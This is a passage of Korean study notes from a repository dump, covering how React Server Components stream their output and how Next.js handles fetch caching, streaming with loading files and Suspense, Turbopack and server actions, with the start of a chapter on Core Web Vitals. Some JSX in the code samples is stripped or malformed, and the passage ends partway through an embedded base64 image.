받아 다시 렌더링을 수행한다. 262 | 263 | 264 | ```json 265 | 266 | M1:{"id":"./src/SearchField.client.js","chunks":["client5"],"name":""} 267 | M2:{"id":"./src/EditButton.client.js","chunks":["client1"],"name":""} 268 | S3:"react.suspense" 269 | J0:["$","div",null,{"className":"main","children":[["$","section",null,{"className":"col sidebar","children":[["$","section",null,{"className":"sidebar-header","children":[["$","img",null,{"className":"logo","src":"logo.svg","width":"22px","height":"20px","alt":"","role":"presentation"}],["$","strong",null,{"children":"React Notes"}]]}],["$","section",null,{"className":"sidebar-menu","role":"menubar","children":[["$","@1",null,{}],["$","@2",null,{"noteId":null,"children":"New"}]]}],["$","nav",null,{"children":["$","$3",null,{"fallback":["$","div",null,{"children":["$","ul",null,{"className":"notes-list skeleton-container","children":[["$","li",null,{"className":"v-stack","children":["$","div",null,{"className":"sidebar-note-list-item skeleton","style":{"height":"5em"}}]}],["$","li",null,{"className":"v-stack","children":["$","div",null,{"className":"sidebar-note-list-item skeleton","style":{"height":"5em"}}]}],["$","li",null,{"className":"v-stack","children":["$","div",null,{"className":"sidebar-note-list-item skeleton","style":{"height":"5em"}}]}]]}]}],"children":"@4"}] 270 | ``` 271 | 272 | - M으로 시작하는 줄은 클라이언트 컴포넌트를 의미하고, 클라이언트 번들에서 해당 함수를 렌더링하기 위해 필요한 정보가 어디있는지 나타낸다. 273 | - S는 리액트의 서스펜스를 의미한다. 274 | - J는 서버에서 렌더링된 서버 컴포넌트이다. 렌더링에 필요한 모든 element,props,children이 들어가 있다. 275 | 276 | @2,@4와 같은 @로 시작하는 부분이 있는데 이 정보는 나중에 렌더링으 완료되었을 때 들어가야 할 컴포넌트를 의미하는 것으로 (일종의 플레이스홀더) @1은 M!이 렌더링되면 저 @1자리에 @M1이 들어가야 한다는 것을 의미한다. 277 | 278 | - 브라우저가 리액트 컴포넌트 트리를 구성한다. 브라우저는 서버로부터 스트리밍으로 JSON의 결과물을 받고 해당 결과물을 바탕으로 트리를 구성해 컴포넌트를 만든다. M1과 같은 클라이언트 컴포넌트는 클라이언트에서 렌더링하고 서버에서 만들어진 결과물을 받았다면 이 정보를 기반으로 트리를 그린다. 279 | 280 | 서버 컴포넌트의 특징은 그래서 크게 다음과 같다. 281 | 282 | 서버-> 클라이언트로 정보를 보낼 때 스트리밍형식으로 보내고 클라이언트가 줄 단위로 JSON을 읽고 컴포넌트를 렌더링 할 수 있다. 서버 사이드 렌더링과는 다르게 JSON형태로 결과물이 보내진다. 단순히 HTML을 그리는 게 아니라 서버 - 클라이언트 컴포넌트의 혼합을 위한 것이다. 283 | 284 | ## Next에서 리액트 서버 컴포넌트 285 | 286 | Next에서 서버 사이드 렌더링과 정적 페이지 제공을 위해 사용되던 getServerSideProps, getStaticProps등이 app 디렉토리에서는 제거되었다. 대신 모든 요청은 fetch를 기반으로 이루어진다. 287 | 288 | ```tsx 289 | async function getData() { 290 | const res = await fetch('...') 291 | 292 | if(!res.ok){ 293 | //가까운 에러 바운더리로 전달 294 | throw new Error('error') 295 | } 296 | return res.json() 297 | } 298 | 299 | export async function Page(){ 300 | const data = await getData() 301 | return ( 302 |
    303 | 304 |
    305 | ) 306 | } 307 | ``` 308 | 이 fetch는 기본적으로 동일한 요청은 캐싱해둔다. 309 | 310 | ```ts 311 | fetch(`https://...`, { cache: 'force-cache' | 'no-store' }) 312 | ``` 313 | 314 | 'force-cache' (기본값) - Next.js는 데이터 캐시에서 일치하는 요청을 찾아봅니다. 315 | 일치하는 요청이 있고 신선하다면, 캐시에서 반환됩니다. 316 | 일치하는 요청이 없거나 오래된 요청인 경우, Next.js는 원격 서버에서 리소스를 가져와 다운로드한 리소스로 캐시를 업데이트합니다. 317 | 318 | 'no-store' - Next.js는 캐시를 확인하지 않고 매 요청마다 원격 서버에서 리소스를 가져옵니다. 그리고 다운로드한 리소스로 캐시를 업데이트하지 않습니다. 319 | 320 | next 13에서는 정적인 라우팅에 대해 빌드 타임에 렌더링을 해두고 캐싱을 해놓아서 재사용할 수 있게 해놓았고, 동적인 라우팅에 대해서는 서버에 매번 요청이 올 때마다 컴포넌트를 렌더링할 수 있게 변경했다. 321 | 322 | ```ts 323 | //app/page.tsx 324 | 325 | async function fetchData(){ 326 | const res = await fetch('...') 327 | const data = await res.json() 328 | return data 329 | } 330 | 331 | export default async function Page(){ 332 | const data = await fetchData() 333 | return ( 334 |
      335 | {data.map((item,key)) =>
    • {item}
    • } 336 |
    337 | ) 338 | } 339 | ``` 340 | 해당 주소를 캐싱하지 않는 방법도 있다. 미리 빌드해 해당 요청을 대기시키지 않고 요청이 올때마다 fetch 요청 이후 렌더링을 수행한다. 만약 next에서 제공하는 headers나 cookie와 같은 함수를 쓰게 되면 해당 함수는 동적인 연산을 바탕으로 결과를 반환하는 것으로 인식해 정적 렌더링 대상에서 제거된다. 341 | 342 | ```ts 343 | async function fetchData(){ 344 | const res = await fetch('...',{ 345 | cache:'no-store' 346 | //revalidate : 0도 동일 347 | }) 348 | const data = await res.json() 349 | return data 350 | } 351 | 352 | export default async function Page(){ 353 | const data = await fetchData() 354 | return ( 355 |
      356 | {data.map((item,key)) =>
    • {item}
    • } 357 |
    358 | ) 359 | } 360 | ``` 361 | 362 | 동적인 주소지만 특정 주소에 대해 캐싱을 하려면 generateStaticParams을 사용하면 된다. 363 | 364 | [공식문서](https://nextjs.org/docs/app/api-reference/functions/generate-static-params) 365 | 366 | fetch 옵션에 따른 작동 방식을 정리하면 다음과 같다. 367 | 368 | - cache : force-cache : 기본적으로 getStaticProps와 유사하게 데이터를 캐싱해 해당 데이터를 관리한다. 369 | - cache : no-store : 캐싱하지 않고 매번 새로운 데이터를 불러온다. 370 | - cache : {next: {revalidate : 10 }} : 정해진 기간동안 캐싱하고 그 이후에는 캐싱을 파기한다. 371 | 372 | 만약 이렇게 revalidate를 정해준다면 하위에 있는 모든 라우팅은 페이지를 revalidate 시간 간격으로 갱신해 렌더링한다. 373 | 374 | 과거 서버사이드렌더링 방식은 요청받은 페이지를 모두 렌더링 해 내릴 때까지 사용자가 아무것도 볼 수 없고 빈 페이지만 보게 된다. 그리고 이 페이지는 Hydrate전까지 사용자가 인터렉션 할 수 없는 정적인 페이지이다. 이를 해결하기 위해 페이지가 다 완성될 때까지 기다리지 않고 HTML을 작은 단위로 쪼개 완성하는 대로 클라이언트로 내보내는 스트리밍이 도입되었다. 375 | 376 | ![](https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmKnEY%2FbtsbQvHvfRj%2FbKWAqJYcScqKwe9b5qCgRK%2Fimg.png) 377 | 378 | 이 스트리밍을 활용할 수 있는 방법은 크게 2가지이다. 379 | - 경로에 loading.tsx을 배치한다. 아래 코드는 다음과 같은 구조를 갖는다. 380 | 381 | ```tsx 382 | 383 |
    384 | 385 | //loading 파일이 fallback으로 들어간다. 386 | }> 387 | 388 | 389 |
    390 | ``` 391 | - 직접적으로 Suspense를 사용한다. 392 | 393 | Loading이 Suspense를 기반으로 만들어진 Next의 규칙이기 때문에 직접 Suspense를 사용하는 것도 동일한 효과를 낼 수 있따. 394 | 395 | ## 터보팩의 등장 396 | 397 | SWC는 Next js를 만든 vercel에서 제공하는 도구로 12버전부터 안정화가 완료되어 공식적으로 사용할 것을 권장하고 있다. 13버전에서는 터보팩이 새로 출시되었다. 터보팩은 vite 대비 최대 10배 빠르다고 하며, 13.4버전부터 터보팩도 베타로 전환되었다. 398 | 399 | ## 서버 액션 400 | 401 | 이 기능은 API를 굳이 생성하지 않아도 함수 수준에서 서버에 접근해 데이터 요청 등을 수행할 수 있는 기능이다. 서버 컴포넌트와 다르게 특정 함수 실행 그 자체만을 서버에서 수행할 수 있다는 장점이 있다. 402 | 403 | 서버 액션을 만드려면 함수 내부 또는 상단에 클라이언트 컴포넌트의 선언과 비슷하게 'use server'지시어를 선언해야 한다. 그리고 이 함수는 반드시 async여야만 한다. 404 | 405 | ```ts 406 | async function serverAction(){ 407 | 'use server' 408 | //서버에 바로 접근하는 코드 409 | } 410 | 411 | //이 파일 내부의 모든 내용이 서버 액션으로 간주된다. 412 | 'use server' 413 | export async function myAction(){ 414 | //서버에 바로 접근하는 코드 415 | } 416 | ``` 417 | 418 | form은 HTML에서 양식을 보낼 때 사용한느 코드로 action props를 추가해서 이 양식 데이터를 처리할 URI를 넘길 수 있다. 419 | 420 | ```ts 421 | export default function Page(){ 422 | async function handleSubmit(){ 423 | 'use server' 424 | 425 | const res = await fetch('.../',{ 426 | method:'post', 427 | body:JSON.stringify({ 428 | title:'foo', 429 | body:'bar' 430 | }), 431 | headers:{ 432 | 'Content-type':'application/json' 433 | } 434 | }) 435 | 436 | const result = await res.json() 437 | 438 | } 439 | return ( 440 |
    441 | 442 |
    443 | ) 444 | } 445 | ``` 446 | form의 action에 서버 액션을 만들어 넘겨주었다. 이 함수는 이벤트를 발생시키는 것은 클라이언트지만 실제로 함수 자체가 수행되는 것은 서버가 된다. server-action/form으로 요청이 수행되고 페이로드에서는 post요청이 아닌 ACTION_ID라는 액션의 구분자만 담기게 된다. 447 | 448 | 서버 액션을 실행하면 클라이언트에서는 현재 라우트 주소와 ACTION_ID를 보내고 그 외에는 아무것도 실행하지 않는 것을 알 수 있다. 서버에서는 요청받은 라우트 주소와 ACTION_ID를 기준으로 실행해야 할 내용을 찾고 서버에서 직접 실행한다. 이를 위해 'use server'로 선언된 내용은 빌드 시점에 클라이언트에서 분리하고 서버로 옮김으로써 클라이언트 번들링 결과에는 포함되지 않는다. 449 | 450 | ```ts 451 | import kv from '@vercel/kv' 452 | 453 | import {revalidatePath} from 'next/cache' 454 | 455 | interface Data { 456 | name : string, 457 | age: number 458 | } 459 | 460 | export default async function Page({params} : {params: {id:string}}){ 461 | async function handleSubmit(formData : FormData) { 462 | 'use server' 463 | 464 | const name = formData.get('name') 465 | const age = formData.get('age') 466 | 467 | await kv.set(key,{ 468 | name, 469 | age 470 | }) 471 | 472 | revalidatePath(`/server-action.form/${params.id}`) 473 | } 474 | return ( 475 | <> 476 |
    477 | 478 | 479 | 480 | 481 | 482 |
    483 | 484 | ) 485 | } 486 | ``` 487 | 488 | Page컴포넌트는 서버 컴포넌트로 form태그에 서버 액션인 handleSubmit을 추가해 formData를 기반으로 데이터를 가져와 데이터베이스(kv)를 업데이트한다. 그리고 업데이트가 마무리되면 마지막으로 revalidatePath을 통해 해당 주소의 캐시를 갱신해 컴포넌트를 다시 렌더링한다. 489 | 490 | handleSubmit의 revalidatePath을 주목하자. 이는 인수로 넘겨받은 경로의 캐싱을 초기화해서 해당 URL에서 즉시 새로운 데이터를 불러오는 역할을 한다. Next에서는 이를 server mutation(서버에서의 데이터 수정)이라고 하는데 server mutation으로 실행할 수 있는 함수는 다음과 같다. 491 | 492 | - redirect : 특정 주소로 리다이렉트 할 수 있는 함수이다. 서버 컴포넌트, 라우트 핸들러, 그리고 서버 액션에서 사용될 수 있습니다. 493 | - revalidatePath : 해당 주소의 캐시를 즉시 업데이트 한다. 494 | - revalidateTag : 캐시 태그는 fetch 요청 시에 다음과 같이 추가한다. 이렇게 태그를 추가하면 여러 fetch 요청을 특정 태그 값으로 구분하며 revalidateTag를 사용하면 특정 태그가 추가된 fetch 요청을 초기화한다. 495 | 496 | ```ts 497 | fetch('...', { 498 | next : { 499 | tags : [''] 500 | } 501 | }) 502 | ``` 503 | 504 | ### 서버 액션 사용시 주의할 점 505 | 506 | - 서버 액션은 클라이언트 컴포넌트 내에서 정의될 수 없다. 서버 액션을 'use client'가 선언되어 있는 컴포넌트 내에서 쓰면 에러가 발생한다. 507 | 508 | - 서버 액션을 import하는 것 뿐 아니라, props로 서버 액션을 클라이언트 컴포넌트로 넘기는 것 또한 불가능하다. 509 | 510 | https://github.com/gabrielelpidio/next-infinite-scroll-server-actions 511 | -------------------------------------------------------------------------------- /[12장] 모든 웹 개발자가 관심을 가져야 할 핵심 웹 지표/효리.md: -------------------------------------------------------------------------------- 1 | 🔗 [노션 링크](https://artistic-roadrunner-94f.notion.site/12-99dec835c8da46e08f65f1d22c194cb4?pvs=4) 2 | -------------------------------------------------------------------------------- /[12장] 모든 웹 개발자가 관심을 가져야 할 핵심 웹 지표/효중.md: -------------------------------------------------------------------------------- 1 | 2 | ## 웹 사이트와 성능 3 | 4 | 사용자가 웹 사이트에 접속했을 때 공통적으로 기대하는 사항에는 뭐가 있을까? 5 | 6 | 첫번째는 웹사이트를 방문한 목적을 손쉽게 달성해야 하고, 첫번째 목적을 달성하는 데 걸리는 시간이 짧아야 하고 , 보안이 철저해야 한다. 리액트와 각종 최신 기술이 집약돼 있는 웹사이트가 내부적으로 어떤 코드로 이뤄져 있는지는 사용자 입장에서 전혀 중요한 문제가 아니다. 7 | 8 | 리액트와 각종 기술이 집약돼 있는 웹사이트라 하더라도 웹 사이트의 접근성이 떨어지고 속도가 느리거나 보인이슈가 있다면 개발자들은 좋아하는 사이트라도 사용자에게 외면을 받을 것이다. 9 | 10 | 반대로 JQuery 등의 오래된 기술로 웹사이트가 구성되어 있어도 사이트가 충분히 빠르다면 사용자가 이용하는데 전혀 지장이 없을 수 있다. 11 | 12 | 모든 서비스는 사용자가 느끼는 성능이 가장 중요하다. 웹 사이트의 성능은 다음 요소에 영향을 미쳤다. 13 | 14 | - 웹사이트의 로딩 시간이 1초 이상 지연되면 전환율이 7% 가까이 감소할 수 있다. 15 | - 그리고 방문자의 40%는 로딩하는데 3초 이상 걸리는 페이지는 떠날 것입니다. 16 | - 페이지의 로드 시간이 0~2초인 페이지에서 가장 높은 전환율을 달성할 수 있다. 17 | - 전체 페이지를 표시하는데 필요한 최적의 평균 리소스 요청 수는 50회 미만이다. 18 | 19 | 웹사이트의 고객 입장에서는 자신이 방문한 사이트가 빠르길 기대한다. 아무리 화려하고 멋진 사이트여도 그러한 화려함을 위해 시간을 희생해야 한다면 이는 무의미하다. 20 | 21 | ## Core Web Vital 22 | 23 | ![](/images/postImg/corewebvital.png) 24 | 25 | 웹 핵심 지표(Core Web Vital)은 구글에서 만든 자료로, 웹 사이트에서 뛰어난 사용자 경험을 제공하는데 필수적인 지표를 일컫는 용어다. 과거의 웹 사이트 측정을 위한 여러 지표가 기준이 없었기 떄문에, 구글에서는 사이트에서 핵심적인 웹 지표를 몇가지로 요약하고 이를 측정할 수 있는 방법, 그리고 좋은 웹 사이트로 분류할 수 있는 기준을 명확히 제시했다. 26 | 27 | 크게 다음의 것들이 있다. 28 | 29 | ![](data:image/png;base64,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